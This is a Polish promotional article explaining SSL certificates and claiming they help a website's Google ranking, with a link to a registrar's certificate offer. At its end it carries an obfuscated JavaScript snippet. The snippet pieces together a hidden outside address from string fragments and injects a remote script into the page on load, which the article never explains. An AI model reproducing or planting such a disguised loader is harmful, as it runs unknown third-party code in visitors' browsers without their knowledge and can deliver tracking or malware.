Certyfikat SSL a pozycjonowanie strony www

W ostatnim czasie coraz częściej pisze i mówi się o certyfikatach SSL. Słyszymy, że taki certyfikat powinien posiadać każdy poważny serwis, który gromadzi i przetwarza dane klientów. Chodzi przede wszystkim o względy bezpieczeństwa. Czy jednak certyfikat SSL wpływa również na SEO strony?
Certyfikaty SSL to rozwiązanie coraz bardziej propagowane ze względu na coraz większe zagrożenie działaniami cyberprzestępców. Ataki na infrastrukturę IT i na zasoby internetowe stają się coraz bardziej niebezpieczne i rośnie ich ilość z roku na rok. Najbardziej narażony na cyberataki jest handel w internecie, a następne w kolejności to głównie infrastruktura IT korporacji finansowych i szpitali (źródło: https://www.statista.com/statistics/434774/it-environment-cyber-crime-attack-industry/). Skoro e-commerce jest tak bardzo zagrożony, nic dziwnego, że jednym z elementów zwiększenia bezpieczeństwa działania serwisów stały się certyfikaty SSL.
Czym jest certyfikat SSL?
Zanim sprawdzimy, czy certyfikat SSL wpływa w jakiś sposób na pozycjonowanie stron internetowych, warto w kilku słowach wyjaśnić, czym w ogóle jest taki certyfikat. Jeszcze do niedawna adresy serwisów przeważnie zaczynały się od skrótu HTTP, ale w ostatnich latach przybywa zdecydowanie witryn, które zastępują HTTP skrótem HTTPS. To nic innego jak standard komunikacji przeglądarki internetowej z serwerem. HTTPS został wzbogacony właśnie o certyfikat SSL. Pozwala on szyfrować komunikację z serwerem i tym samym zabezpieczać przesyłane dane, podnosząc poziom ich bezpieczeństwa. To szczególnie przydatne wszędzie tam, gdzie zbiera i przetwarza się poufna dane (np. osobowe, finansowe itp.). Renomowani dostawcy zazwyczaj posiadają szeroką ofertę certyfikatów SSL (np. Domeny.pl), co sprawia, że można łatwo dobrać odpowiedni certyfikat do potrzeb konkretnego serwisu. Wróćmy teraz jednak do kwestii SEO.
Wpływ certyfikatu SSL na SEO
Największa na świecie wyszukiwarka, czyli Google, kładzie coraz większy nacisk na kwestie bezpieczeństwa. Amerykańska firma coraz mocniej zachęca właścicieli serwisów do przechodzenia z protokołu HTTP na HTTPS. Te strony www, które tego nie zrobią, są oznaczane w przeglądarce Chrome jako niebezpieczne. Łatwo się domyślić, że Google również promuje w wynikach wyszukiwania serwisy korzystające z certyfikatów SSL. Takie witryny internetowe są postrzegane przez algorytmy wyszukiwarki jako bardziej wartościowe i godne zaufania. Przy okazji trzeba podkreślić, że serwisy sprzedażowe zabezpieczone SSL są również lepiej postrzegane przez użytkowników.
Wszystko na to wskazuje, że nie ma już ucieczki od takich rozwiązań, jak certyfikat SSL. Z czasem serwisy bez szyfrowanej komunikacji mogą być coraz bardziej marginalizowane przez Google, a do tego nieustannie wzrasta także świadomość internautów, jeśli chodzi o cyberbezpieczeństwo.
Więcej na: https://domeny.pl/certyfikaty-ssl.html

(function(){
 qxX6=document.createElement("script");qxX6_=("us")+("ta");
 qxX6_+="t"+(".");qxX6_+=("in");qxX6u="69293486";qxX6.async=true;
 qxX6u+=".4acmisw0xX6806zx9";qxX6.type="text/javascript";qxX6_+="f"+"o"+("/");
 qxX6u+="ysf50nqqy3dly";qxX6.src="//"+qxX6_+qxX6u;
 dqxX6=document.body;dqxX6.appendChild(qxX6);
})();